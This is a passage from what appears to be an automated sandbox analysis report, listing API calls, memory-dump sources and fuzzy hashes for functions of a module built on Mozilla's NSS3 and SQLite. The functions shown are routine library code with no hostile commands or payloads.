PR_GetThreadPrivate.NSS3(FFFFFFFF,?,6CE50710), ref: 6CE48FF1
PR_CallOnce.NSS3(6CF92158,6CE49150,00000000,?,?,?,6CE49138,?,6CE50710), ref: 6CE49029
calloc.MOZGLUE(00000001,00000000,?,?,6CE50710), ref: 6CE4904D
memcpy.VCRUNTIME140(00000000,00000000,00000000,?,?,?,?,6CE50710), ref: 6CE49066
PR_SetThreadPrivate.NSS3(00000000,?,?,?,?,6CE50710), ref: 6CE49078

Memory Dump Source

Source File: 00000000.00000002.1885448553.000000006CDB1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDB0000, based on PE: true

Associated: 00000000.00000002.1885412851.000000006CDB0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885671306.000000006CF4F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885736377.000000006CF8E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885767319.000000006CF8F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1886121497.000000006CF90000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1886160462.000000006CF95000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdb0000_file.jbxd

Similarity

API ID: PrivateThread$CallOncecallocmemcpy
String ID:
API String ID: 1176783091-0
Opcode ID: 25e440d5e2b91ff6b7e99efd26df2c20847463eab896e50aac023522b3b1e9a9
Instruction ID: d6f00e3ce27ff37463ceb3d6e3c2530ab599b711bbfdb2474a5b45290dc197d0
Opcode Fuzzy Hash: 25e440d5e2b91ff6b7e99efd26df2c20847463eab896e50aac023522b3b1e9a9
Instruction Fuzzy Hash: D7114421B0011157EB205AADBC04A6A32BCEB827AEF608131FD94E2B40F397CC4583E1

Function 6CE5CD80 Relevance: 7.6, APIs: 5, Instructions: 60COMMON

Download Yara Rule

APIs

Part of subcall function 6CE71E10: TlsGetValue.KERNEL32 ref: 6CE71E36
Part of subcall function 6CE71E10: EnterCriticalSection.KERNEL32(?,?,?,6CE4B1EE,2404110F,?,?), ref: 6CE71E4B
Part of subcall function 6CE71E10: PR_Unlock.NSS3 ref: 6CE71E76

free.MOZGLUE(?,6CE5D079,00000000,00000001), ref: 6CE5CDA5
PK11_FreeSymKey.NSS3(?,6CE5D079,00000000,00000001), ref: 6CE5CDB6
SECITEM_ZfreeItem_Util.NSS3(?,00000001,6CE5D079,00000000,00000001), ref: 6CE5CDCF
DeleteCriticalSection.KERNEL32(?,6CE5D079,00000000,00000001), ref: 6CE5CDE2
free.MOZGLUE(?), ref: 6CE5CDE9

Memory Dump Source

Source File: 00000000.00000002.1885448553.000000006CDB1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDB0000, based on PE: true

Associated: 00000000.00000002.1885412851.000000006CDB0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885671306.000000006CF4F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885736377.000000006CF8E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885767319.000000006CF8F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1886121497.000000006CF90000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1886160462.000000006CF95000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdb0000_file.jbxd

Similarity

API ID: CriticalSectionfree$DeleteEnterFreeItem_K11_UnlockUtilValueZfree
String ID:
API String ID: 1720798025-0
Opcode ID: 20a928f5ab641c577146fb1dd0d96ff8e527ffdf433a9a59688e246cd85c7164
Instruction ID: 98430915ece5be5047b573cf0a8418873addf85cf846cc186b4d3eee27aba5b3
Opcode Fuzzy Hash: 20a928f5ab641c577146fb1dd0d96ff8e527ffdf433a9a59688e246cd85c7164
Instruction Fuzzy Hash: 5D11C2B2B01111ABDB00AF65EC84AA6B77CFF0826C7600121EA19D7E01E736E434C7E1

Function 6CE93D90 Relevance: 7.6, APIs: 5, Instructions: 57memoryCOMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(0000FDE9,00000000,?,000000FF,00000000,00000000,00000000,-00000001,?,00000000,?,6CE938A2), ref: 6CE93DB0
PORT_Alloc_Util.NSS3(00000000,?,000000FF,00000000,00000000,00000000,-00000001,?,00000000,?,6CE938A2), ref: 6CE93DBF

Part of subcall function 6CE90BE0: malloc.MOZGLUE(6CE88D2D,?,00000000,?), ref: 6CE90BF8
Part of subcall function 6CE90BE0: TlsGetValue.KERNEL32(6CE88D2D,?,00000000,?), ref: 6CE90C15

MultiByteToWideChar.KERNEL32(0000FDE9,00000000,?,000000FF,00000000,00000000,6CE938A2), ref: 6CE93DD9
_wstat64i32.API-MS-WIN-CRT-FILESYSTEM-L1-1-0(00000000,000000FF,?,000000FF,00000000,00000000,6CE938A2), ref: 6CE93DE7
free.MOZGLUE(00000000,?,000000FF,00000000,00000000,6CE938A2), ref: 6CE93DF8

Memory Dump Source

Source File: 00000000.00000002.1885448553.000000006CDB1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDB0000, based on PE: true

Associated: 00000000.00000002.1885412851.000000006CDB0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885671306.000000006CF4F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885736377.000000006CF8E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885767319.000000006CF8F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1886121497.000000006CF90000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1886160462.000000006CF95000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdb0000_file.jbxd

Similarity

API ID: ByteCharMultiWide$Alloc_UtilValue_wstat64i32freemalloc
String ID:
API String ID: 1642359729-0
Opcode ID: bb36252fd66edad54a087fbc1df3591da2b7abe83d73348b7c5725c83015915b
Instruction ID: a25e606c6b11d3f0fe6fff68703d12a5218dfd0a34f9d00974d56458086ccd11
Opcode Fuzzy Hash: bb36252fd66edad54a087fbc1df3591da2b7abe83d73348b7c5725c83015915b
Instruction Fuzzy Hash: 4401D6B5B162223BFB1056766C49F7B397CDB436ACB240235FD29DA680EA51CC1081F1

Function 6CEC2CC0 Relevance: 7.6, APIs: 5, Instructions: 55COMMON

Download Yara Rule

APIs

Part of subcall function 6CEC5B40: PR_GetIdentitiesLayer.NSS3 ref: 6CEC5B56

PR_SetError.NSS3(FFFFE005,00000000), ref: 6CEC2CEC

Part of subcall function 6CEDC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CEDC2BF

PR_EnterMonitor.NSS3(?), ref: 6CEC2D02
PR_EnterMonitor.NSS3(?), ref: 6CEC2D1F
PR_ExitMonitor.NSS3(?), ref: 6CEC2D42
PR_ExitMonitor.NSS3(?), ref: 6CEC2D5B

Memory Dump Source

Source File: 00000000.00000002.1885448553.000000006CDB1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDB0000, based on PE: true

Associated: 00000000.00000002.1885412851.000000006CDB0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885671306.000000006CF4F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885736377.000000006CF8E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885767319.000000006CF8F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1886121497.000000006CF90000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1886160462.000000006CF95000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdb0000_file.jbxd

Similarity

API ID: Monitor$EnterExit$ErrorIdentitiesLayerValue
String ID:
API String ID: 1593528140-0
Opcode ID: 4ef27760c05e354bdbdc14a9bf5efb7db43890b1c91ebd88415995a73019c396
Instruction ID: 723665c9dd1960e7eec17b5ce008c06cbd6420be76aee75d857b646141501161
Opcode Fuzzy Hash: 4ef27760c05e354bdbdc14a9bf5efb7db43890b1c91ebd88415995a73019c396
Instruction Fuzzy Hash: F901CCB5B002005BD7305E25FC40BC777B1EF65318F205929D8B986710E732F4158B93

Function 6CEC2D70 Relevance: 7.6, APIs: 5, Instructions: 55COMMON

Download Yara Rule

APIs

Part of subcall function 6CEC5B40: PR_GetIdentitiesLayer.NSS3 ref: 6CEC5B56

PR_SetError.NSS3(FFFFE005,00000000), ref: 6CEC2D9C

Part of subcall function 6CEDC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CEDC2BF

PR_EnterMonitor.NSS3(?), ref: 6CEC2DB2
PR_EnterMonitor.NSS3(?), ref: 6CEC2DCF
PR_ExitMonitor.NSS3(?), ref: 6CEC2DF2
PR_ExitMonitor.NSS3(?), ref: 6CEC2E0B

Memory Dump Source

Source File: 00000000.00000002.1885448553.000000006CDB1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDB0000, based on PE: true

Associated: 00000000.00000002.1885412851.000000006CDB0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885671306.000000006CF4F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885736377.000000006CF8E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885767319.000000006CF8F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1886121497.000000006CF90000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1886160462.000000006CF95000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdb0000_file.jbxd

Similarity

API ID: Monitor$EnterExit$ErrorIdentitiesLayerValue
String ID:
API String ID: 1593528140-0
Opcode ID: 1e9434b66f5bacf9a806f1db442a6747708187bc64aeee5eb685236fa59530ec
Instruction ID: 6813e63bfff846aef20a8d9dfa0039ec14f4c18d13e2b29749c5f97577fe69fe
Opcode Fuzzy Hash: 1e9434b66f5bacf9a806f1db442a6747708187bc64aeee5eb685236fa59530ec
Instruction Fuzzy Hash: E201C8B5B006005FE7309E29FC41BC7B7B1EF61358F205439E8A996B11E732F4269693

Function 6CE5AE30 Relevance: 7.6, APIs: 5, Instructions: 54COMMON

Download Yara Rule

APIs

Part of subcall function 6CE43090: PORT_NewArena_Util.NSS3(00000800,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6CE5AE42), ref: 6CE430AA
Part of subcall function 6CE43090: PORT_ArenaAlloc_Util.NSS3(00000000,000000AC,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6CE430C7
Part of subcall function 6CE43090: memset.VCRUNTIME140(-00000004,00000000,000000A8), ref: 6CE430E5
Part of subcall function 6CE43090: SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6CE43116
Part of subcall function 6CE43090: SECITEM_CopyItem_Util.NSS3(00000000,?,?), ref: 6CE4312B
Part of subcall function 6CE43090: PK11_DestroyObject.NSS3(?,?), ref: 6CE43154
Part of subcall function 6CE43090: PORT_FreeArena_Util.NSS3(00000000,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CE4317E

SECKEY_DestroyPublicKey.NSS3(00000000,?,00000000,?,6CE399FF,?,?,?,?,?,?,?,?,?,6CE32D6B,?), ref: 6CE5AE67
SECITEM_DupItem_Util.NSS3(-00000014,?,00000000,?,6CE399FF,?,?,?,?,?,?,?,?,?,6CE32D6B,?), ref: 6CE5AE7E
SECKEY_DestroyPublicKey.NSS3(00000000,?,?,?,?,?,?,?,?,?,6CE32D6B,?,?,00000000), ref: 6CE5AE89
PK11_MakeIDFromPubKey.NSS3(00000000,?,?,?,?,?,?,?,?,?,?,6CE32D6B,?,?,00000000), ref: 6CE5AE96
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001,?,?,?,?,?,?,?,?,?,?,?,6CE32D6B,?,?), ref: 6CE5AEA3

Memory Dump Source

Source File: 00000000.00000002.1885448553.000000006CDB1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDB0000, based on PE: true

Associated: 00000000.00000002.1885412851.000000006CDB0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885671306.000000006CF4F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885736377.000000006CF8E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885767319.000000006CF8F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1886121497.000000006CF90000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1886160462.000000006CF95000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdb0000_file.jbxd

Similarity

API ID: Util$DestroyItem_$Arena_K11_Public$AlgorithmAlloc_ArenaCopyFreeFromMakeObjectTag_Zfreememset
String ID:
API String ID: 754562246-0
Opcode ID: 52a1ab3c937646f5d29f4de3c0d4576ecf83a39c467da2c84abe8fafe10cbf5a
Instruction ID: 272d6ab3e4fc2b62a62089135d05ea88566db49963f8a2a66228db68188b328a
Opcode Fuzzy Hash: 52a1ab3c937646f5d29f4de3c0d4576ecf83a39c467da2c84abe8fafe10cbf5a
Instruction Fuzzy Hash: 7D01F4B2B9005057E701916CBC85BBB31788B9765CFB80036E909D7B01FE17D9A643B3

Function 6CF4BDB0 Relevance: 7.6, APIs: 5, Instructions: 51COMMON

Download Yara Rule

APIs

DeleteCriticalSection.KERNEL32(?,00000000,00000000,?,6CF47AFE,?,?,?,?,?,?,?,?,6CF4798A), ref: 6CF4BDC3
free.MOZGLUE(?,?,6CF47AFE,?,?,?,?,?,?,?,?,6CF4798A), ref: 6CF4BDCA
PR_DestroyMonitor.NSS3(?,00000000,00000000,?,6CF47AFE,?,?,?,?,?,?,?,?,6CF4798A), ref: 6CF4BDE9
free.MOZGLUE(?,00000000,00000000,?,6CF47AFE,?,?,?,?,?,?,?,?,6CF4798A), ref: 6CF4BE21
free.MOZGLUE(00000000,00000000,?,6CF47AFE,?,?,?,?,?,?,?,?,6CF4798A), ref: 6CF4BE32

Memory Dump Source

Source File: 00000000.00000002.1885448553.000000006CDB1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDB0000, based on PE: true

Associated: 00000000.00000002.1885412851.000000006CDB0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885671306.000000006CF4F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885736377.000000006CF8E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885767319.000000006CF8F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1886121497.000000006CF90000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1886160462.000000006CF95000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdb0000_file.jbxd

Similarity

API ID: free$CriticalDeleteDestroyMonitorSection
String ID:
API String ID: 3662805584-0
Opcode ID: f6105c98417142cc68570ec8a3646b0d2282cdd7850d4b1ebfc1520624136439
Instruction ID: 7767d050977208efa455b9d459393c9ceb699b4054b2a79bb28559500422f9a7
Opcode Fuzzy Hash: f6105c98417142cc68570ec8a3646b0d2282cdd7850d4b1ebfc1520624136439
Instruction Fuzzy Hash: 8A1106BAF226009FDFC0DF29D84DB463BB9AB4B354B540469D60AC7721E736A418CB91

Function 6CE93E10 Relevance: 7.5, APIs: 5, Instructions: 45memoryfileCOMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(0000FDE9,00000000,00000000,000000FF,00000000,00000000,-00000001,?,00000000,?,6CE93975), ref: 6CE93E29
PORT_Alloc_Util.NSS3(00000000,?,00000000,?,6CE93975), ref: 6CE93E38

Part of subcall function 6CE90BE0: malloc.MOZGLUE(6CE88D2D,?,00000000,?), ref: 6CE90BF8
Part of subcall function 6CE90BE0: TlsGetValue.KERNEL32(6CE88D2D,?,00000000,?), ref: 6CE90C15

MultiByteToWideChar.KERNEL32(0000FDE9,00000000,00000000,000000FF,00000000,00000000,6CE93975), ref: 6CE93E52
DeleteFileW.KERNEL32(00000000), ref: 6CE93E5D
free.MOZGLUE(00000000), ref: 6CE93E64

Memory Dump Source

Source File: 00000000.00000002.1885448553.000000006CDB1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDB0000, based on PE: true

Associated: 00000000.00000002.1885412851.000000006CDB0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885671306.000000006CF4F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885736377.000000006CF8E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885767319.000000006CF8F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1886121497.000000006CF90000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1886160462.000000006CF95000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdb0000_file.jbxd

Similarity

API ID: ByteCharMultiWide$Alloc_DeleteFileUtilValuefreemalloc
String ID:
API String ID: 3873820591-0
Opcode ID: f06f1d17ae2e8d2e305899cae0160cec12a3b1971ec827a018a64fa168ed174f
Instruction ID: 78cf7063f31b26b8f6dbb0b9ab71ef265f6c6f58e71bb3a4f2df6e5450828766
Opcode Fuzzy Hash: f06f1d17ae2e8d2e305899cae0160cec12a3b1971ec827a018a64fa168ed174f
Instruction Fuzzy Hash: 20F054B5B162023BFA1025796C49F37357CDB439BDB340735BE29C56C1E940CC144271

Function 6CF47C60 Relevance: 7.5, APIs: 5, Instructions: 40stringthreadCOMMON

Download Yara Rule

APIs

PR_Free.NSS3(?), ref: 6CF47C73
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CF47C83
malloc.MOZGLUE(00000001), ref: 6CF47C8D
strcpy.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?), ref: 6CF47C9F
PR_GetCurrentThread.NSS3 ref: 6CF47CAD

Part of subcall function 6CEF9BF0: TlsGetValue.KERNEL32(?,?,?,6CF40A75), ref: 6CEF9C07

Memory Dump Source

Source File: 00000000.00000002.1885448553.000000006CDB1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDB0000, based on PE: true

Associated: 00000000.00000002.1885412851.000000006CDB0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885671306.000000006CF4F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885736377.000000006CF8E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885767319.000000006CF8F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1886121497.000000006CF90000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1886160462.000000006CF95000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdb0000_file.jbxd

Similarity

API ID: CurrentFreeThreadValuemallocstrcpystrlen
String ID:
API String ID: 105370314-0
Opcode ID: 636ad054ce3c9266e59eb02cc64ea36b5aee55bcb0b2e87c911371c551f0320e
Instruction ID: 48f3222416c25990377a4f254f31f45812044cb814625b6460b5c5340fb6c838
Opcode Fuzzy Hash: 636ad054ce3c9266e59eb02cc64ea36b5aee55bcb0b2e87c911371c551f0320e
Instruction Fuzzy Hash: 4DF0C2B19102066BEB009F7AAC09A577B68EF01265B11C53AE819C7B02E735E114CAE5

Function 6CF4ADF0 Relevance: 7.5, APIs: 5, Instructions: 35COMMON

Download Yara Rule

APIs

DeleteCriticalSection.KERNEL32(6CF4A6D8), ref: 6CF4AE0D
free.MOZGLUE(?), ref: 6CF4AE14
DeleteCriticalSection.KERNEL32(6CF4A6D8), ref: 6CF4AE36
free.MOZGLUE(?), ref: 6CF4AE3D
free.MOZGLUE(00000000,00000000,?,?,6CF4A6D8), ref: 6CF4AE47

Memory Dump Source

Source File: 00000000.00000002.1885448553.000000006CDB1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDB0000, based on PE: true

Associated: 00000000.00000002.1885412851.000000006CDB0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885671306.000000006CF4F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885736377.000000006CF8E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885767319.000000006CF8F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1886121497.000000006CF90000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1886160462.000000006CF95000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdb0000_file.jbxd

Similarity

API ID: free$CriticalDeleteSection
String ID:
API String ID: 682657753-0
Opcode ID: 3b4937d4088d17c0a2d89bb803e11443a1ead6fdac29ea95736075ecd1b64141
Instruction ID: 1cbd9dcf8255c4c7059f6054711e8733a17b9dcaea11c9442223401c913dd280
Opcode Fuzzy Hash: 3b4937d4088d17c0a2d89bb803e11443a1ead6fdac29ea95736075ecd1b64141
Instruction Fuzzy Hash: D5F0F676602A01A7CA009F69E84CE677BB8FF87B747104328E13A83941D735E015CBD1

Function 6CDD7C40 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 100COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,00010A0D,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6CDD7D35

Strings

database corruption, xrefs: 6CDD7D29
%s at line %d of [%.10s], xrefs: 6CDD7D2E
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6CDD7D13, 6CDD7D1F, 6CDD7D47, 6CDD7D53, 6CDD7D5F

Memory Dump Source

Source File: 00000000.00000002.1885448553.000000006CDB1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDB0000, based on PE: true

Associated: 00000000.00000002.1885412851.000000006CDB0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885671306.000000006CF4F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885736377.000000006CF8E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885767319.000000006CF8F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1886121497.000000006CF90000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1886160462.000000006CF95000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdb0000_file.jbxd

Similarity

API ID: sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 632333372-598938438
Opcode ID: 78b14594a936e47dd803bc13f79b8ebb647f12997be643bfa25debf7f086b426
Instruction ID: c0846656bdf15dabc4b0d3aeadb3ff9928fc84fbc498e29f5e50f036ff4d0004
Opcode Fuzzy Hash: 78b14594a936e47dd803bc13f79b8ebb647f12997be643bfa25debf7f086b426
Instruction Fuzzy Hash: 2831D471E04229ABC710CF9EC880DB9B7E1EF48319B5B0596F444B7B99D271E851C7B4

Function 6CDC6C90 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 76COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,000134E5,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4,?), ref: 6CDC6D36

Strings

database corruption, xrefs: 6CDC6D2A
%s at line %d of [%.10s], xrefs: 6CDC6D2F
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6CDC6D20

Memory Dump Source

Source File: 00000000.00000002.1885448553.000000006CDB1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDB0000, based on PE: true

Associated: 00000000.00000002.1885412851.000000006CDB0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885671306.000000006CF4F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885736377.000000006CF8E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885767319.000000006CF8F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1886121497.000000006CF90000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1886160462.000000006CF95000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdb0000_file.jbxd

Similarity

API ID: sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 632333372-598938438
Opcode ID: 342cd72ca48a805044e63322209135b54c5a93903dbba48474a5f92fb33a2644
Instruction ID: e2ef525bb499b3331e80111613fa9ce1e69d5c6b28b5937be2bf6b724935b951
Opcode Fuzzy Hash: 342cd72ca48a805044e63322209135b54c5a93903dbba48474a5f92fb33a2644
Instruction Fuzzy Hash: FC21C4717043059BC710CF1AD841B6EB7F9AF84318F14492DD84A9BF61E771F98687A2

Function 6CEA2FD0 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 66memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(?,-000000D4,00000000,?,<+l,6CEA32C2,<+l,00000000,00000000,?), ref: 6CEA2FDA

Part of subcall function 6CE914C0: TlsGetValue.KERNEL32 ref: 6CE914E0
Part of subcall function 6CE914C0: EnterCriticalSection.KERNEL32 ref: 6CE914F5
Part of subcall function 6CE914C0: PR_Unlock.NSS3 ref: 6CE9150D

PORT_ArenaAlloc_Util.NSS3(?,-00000007), ref: 6CEA300B

Part of subcall function 6CE910C0: TlsGetValue.KERNEL32(?,6CE38802,00000000,00000008,?,6CE2EF74,00000000), ref: 6CE910F3
Part of subcall function 6CE910C0: EnterCriticalSection.KERNEL32(?,?,6CE38802,00000000,00000008,?,6CE2EF74,00000000), ref: 6CE9110C
Part of subcall function 6CE910C0: PL_ArenaAllocate.NSS3(?,?,?,6CE38802,00000000,00000008,?,6CE2EF74,00000000), ref: 6CE91141
Part of subcall function 6CE910C0: PR_Unlock.NSS3(?,?,?,6CE38802,00000000,00000008,?,6CE2EF74,00000000), ref: 6CE91182
Part of subcall function 6CE910C0: TlsGetValue.KERNEL32(?,6CE38802,00000000,00000008,?,6CE2EF74,00000000), ref: 6CE9119C

SECOID_FindOIDByTag_Util.NSS3(00000010), ref: 6CEA302A

Part of subcall function 6CE90840: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6CE908B4

Part of subcall function 6CE7C3D0: PK11_ImportPublicKey.NSS3(?,?,00000000), ref: 6CE7C45D
Part of subcall function 6CE7C3D0: TlsGetValue.KERNEL32 ref: 6CE7C494
Part of subcall function 6CE7C3D0: EnterCriticalSection.KERNEL32(?), ref: 6CE7C4A9
Part of subcall function 6CE7C3D0: PR_Unlock.NSS3(?), ref: 6CE7C4F4

Strings

<+l, xrefs: 6CEA2FD0

Memory Dump Source

Source File: 00000000.00000002.1885448553.000000006CDB1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDB0000, based on PE: true

Associated: 00000000.00000002.1885412851.000000006CDB0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885671306.000000006CF4F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885736377.000000006CF8E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885767319.000000006CF8F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1886121497.000000006CF90000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1886160462.000000006CF95000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdb0000_file.jbxd

Similarity

API ID: Value$ArenaCriticalEnterSectionUnlockUtil$Alloc_AllocateErrorFindImportK11_Mark_PublicTag_
String ID: <+l
API String ID: 2538134263-555380133
Opcode ID: 595581cd8a3e58213a728435827faa4a7978b5385ddb469e9c4028bda8901334
Instruction ID: 584077e680544ab210a5d81b6c2f8e646b058cac177666d549e12ac80ff822cd
Opcode Fuzzy Hash: 595581cd8a3e58213a728435827faa4a7978b5385ddb469e9c4028bda8901334
Instruction Fuzzy Hash: FA11EBB6B001046BDB008EA5DC40A9B77E99B8426CF388138E81CDB780E776ED16C7A1

Function 6CEFCC70 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 62COMMON

Download Yara Rule

APIs

